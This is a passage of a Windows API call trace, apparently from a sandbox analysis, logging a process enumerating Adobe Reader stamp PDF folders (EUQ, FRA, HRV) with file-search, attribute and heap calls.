lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc084, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.095] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.096] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12153c0 [0083.096] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a5af0 [0083.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x7400) returned 0x12bb0b0 [0083.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12c9780) returned 1 [0083.097] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.097] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.097] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.098] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12153e0 [0083.098] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a5bf8 [0083.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.099] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2eb9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.099] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.099] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215400 [0083.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a5d00 [0083.100] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.100] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.100] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.101] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.101] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215420 [0083.102] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a5e08 [0083.102] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.102] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.102] GetLastError () returned 0x12 [0083.102] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\EUQ\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.102] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.102] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x81e8c820, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x81eb2980, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.102] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xcdd8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.102] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x892d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Faces.pdf", cAlternateFileName="")) returned 1 [0083.102] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0xc084, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pointers.pdf", cAlternateFileName="")) returned 1 [0083.102] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x8c96, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.102] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81e8c820, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x2eb9e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Standard.pdf", cAlternateFileName="")) returned 1 [0083.102] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.103] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d67db00, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x81eb2980, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9d67db00, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9a88d, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.103] GetLastError () returned 0x12 [0083.103] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.103] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.104] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.104] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FRA", cAlternateFileName="")) returned 1 [0083.104] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.104] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.105] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\fra"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x180 [0083.105] SetFileTime (hFile=0x180, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.105] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.106] DeviceIoControl (in: hDevice=0x180, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.106] NtClose (Handle=0x180) returned 0x0 [0083.106] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.106] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.107] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.107] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a36d8 [0083.107] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e91c0 [0083.108] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.108] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x30eb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.108] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.108] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a35d0 [0083.109] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b858) returned 1 [0083.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215440 [0083.109] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a5f10 [0083.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.110] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.110] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.110] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215460 [0083.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6018 [0083.111] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.111] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44925, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.111] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.112] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x1215480 [0083.112] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a6120 [0083.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124b8e0) returned 1 [0083.113] FindNextFileW (in: hFindFile=0x2e91c0, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44925, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.113] GetLastError () returned 0x12 [0083.113] FindFirstFileExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\FRA\\*", fInfoLevelId=0x1, lpFindFileData=0x119e474, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119e474) returned 0x2e8f80 [0083.113] FindClose (in: hFindFile=0x2e91c0 | out: hFindFile=0x2e91c0) returned 1 [0083.113] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7feb61e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7feb61e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0083.113] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x30eb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Dynamic.pdf", cAlternateFileName="")) returned 1 [0083.113] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x9d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="SignHere.pdf", cAlternateFileName="")) returned 1 [0083.113] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44925, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 1 [0083.113] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119e474 | out: lpFindFileData=0x119e474*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x950fa000, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x7feb61e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x950fa000, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x44925, dwReserved0=0x0, dwReserved1=0x0, cFileName="StandardBusiness.pdf", cAlternateFileName="")) returned 0 [0083.113] GetLastError () returned 0x12 [0083.113] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a36d8) returned 1 [0083.113] FindClose (in: hFindFile=0x2e8f80 | out: hFindFile=0x2e8f80) returned 1 [0083.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a35d0) returned 1 [0083.114] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.114] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119e72c | out: lpFindFileData=0x119e72c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="HRV", cAlternateFileName="")) returned 1 [0083.114] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.114] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv"), fInfoLevelId=0x0, lpFileInformation=0x119e628 | out: lpFileInformation=0x119e628*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8070aee0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8070aee0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8070aee0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0083.115] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\plug_ins\\Annotations\\Stamps\\HRV" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\plug_ins\\annotations\\stamps\\hrv"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x174 [0083.115] SetFileTime (hFile=0x174, lpCreationTime=0x0, lpLastAccessTime=0x119e66c, lpLastWriteTime=0x119e66c) returned 0 [0083.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x11ec790 [0083.116] DeviceIoControl (in: hDevice=0x174, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x11ec790, nOutBufferSize=0x4000, lpBytesReturned=0x119e6c4, lpOverlapped=0x0 | out: lpOutBuffer=0x11ec790, lpBytesReturned=0x119e6c4, lpOverlapped=0x0) returned 0 [0083.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x11ec790) returned 1 [0083.116] NtClose (Handle=0x174) returned 0x0 [0083.116] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12a34c8) returned 1 [0083.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b8e0 [0083.116] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x124b858 [0083.117] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12a34c8 [0083.117] 